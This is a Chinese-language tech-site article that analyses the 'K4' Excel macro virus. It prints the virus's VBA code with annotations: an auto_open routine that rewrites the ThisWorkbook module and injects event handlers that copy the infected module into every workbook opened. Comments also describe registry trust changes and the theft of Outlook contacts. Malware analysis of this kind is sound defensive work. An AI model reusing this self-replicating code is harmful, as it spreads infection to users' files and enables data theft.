加入收藏 | 设为首页 | 会员中心 | 我要投稿 宁德站长网 (https://www.0593zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 安全 > 正文

新型K4宏病毒代码解析报告

发布时间:2022-05-05 09:42:02 所属栏目:安全 来源:互联网
导读:最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为: 以ToDOLE模块中的代码,在虚拟机XP+Excel2003下跟踪并注释了关键代码: 病毒行为主过程
       最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为:
 
       以ToDOLE模块中的代码,在虚拟机XP+Excel2003下跟踪并注释了关键代码:
 
        '病毒行为主过程
 
        Private Sub auto_open()
 
        Application.DisplayAlerts = False
 
If ThisWorkbook.Path <> Application.StartupPath Then
 
Application.ScreenUpdating = False
 
'删除.xls文件里的ThisWorkBook表单,以便写入带毒宏代码;
 
Call delete_this_wk
 
'复制带毒宏代码
 
Call copytoworkbook
 
'如果当前文件已经感染,则保存。
 
If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
 
ThisWorkbook.Save
 
Application.ScreenUpdating = True
 
End If
 
End Sub
 
'以下过程向ThisWorkbook写入一段激活带毒代码;
 
Private Sub copytoworkbook()
 
Const DQUOTE = """"
 
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
 
.InsertLines 1, "Public WithEvents xx As Application"
 
.InsertLines 2, "Private Sub Workbook_open()"
 
.InsertLines 3, "Set xx = Application"
 
.InsertLines 4, "On Error Resume Next"
 
.InsertLines 5, "Application.DisplayAlerts = False"
 
.InsertLines 6, "Call do_what"
 
.InsertLines 7, "End Sub"
 
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
 
.InsertLines 9, "On Error Resume Next"
 
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
 
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
 
.InsertLines 12, "Major:=5, Minor:=3"
 
.InsertLines 13, "Application.ScreenUpdating = False"
 
.InsertLines 14, "Application.DisplayAlerts = False"
 
.InsertLines 15, "copystart wb"
 
.InsertLines 16, "Application.ScreenUpdating = True"
 
.InsertLines 17, "End Sub"
 
End With
 
End Sub
 
'删除临时工作表过程
 
Private Sub delete_this_wk()
 
Dim VBProj As VBIDE.VBProject
 
Dim VBComp As VBIDE.VBComponent
 
Dim CodeMod As VBIDE.CodeModule
 
Set VBProj = ThisWorkbook.VBProject
 
Set VBComp = VBProj.VBComponents("ThisWorkbook")
 
Set CodeMod = VBComp.CodeModule
 
With CodeMod
 
.DeleteLines 1, .CountOfLines
 
End With
 
End Sub
 
'病毒的主要行为框架
 
Function do_what()
 
If ThisWorkbook.Path <> Application.StartupPath Then
 
'检测并当前打开xls文件时的状态,并初始化一些准备工作。
 
RestoreAfterOpen
 
'通过修改注册信任VB项,为下面的感染提供可能性。
 
Call OpenDoor
 
'把带毒模块写入Excel的自动启动项目,实现感染传播
 
Call Microsofthobby
 
'病毒的主体行为(大致是收集outlook的用户邮件列表并发送到指定邮箱里)
 
'如果已经感染过,就退出
 
If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
 
End Function
 
'把'k4.xls'带毒模块附加进每个打开的xls文件里。

(编辑:宁德站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!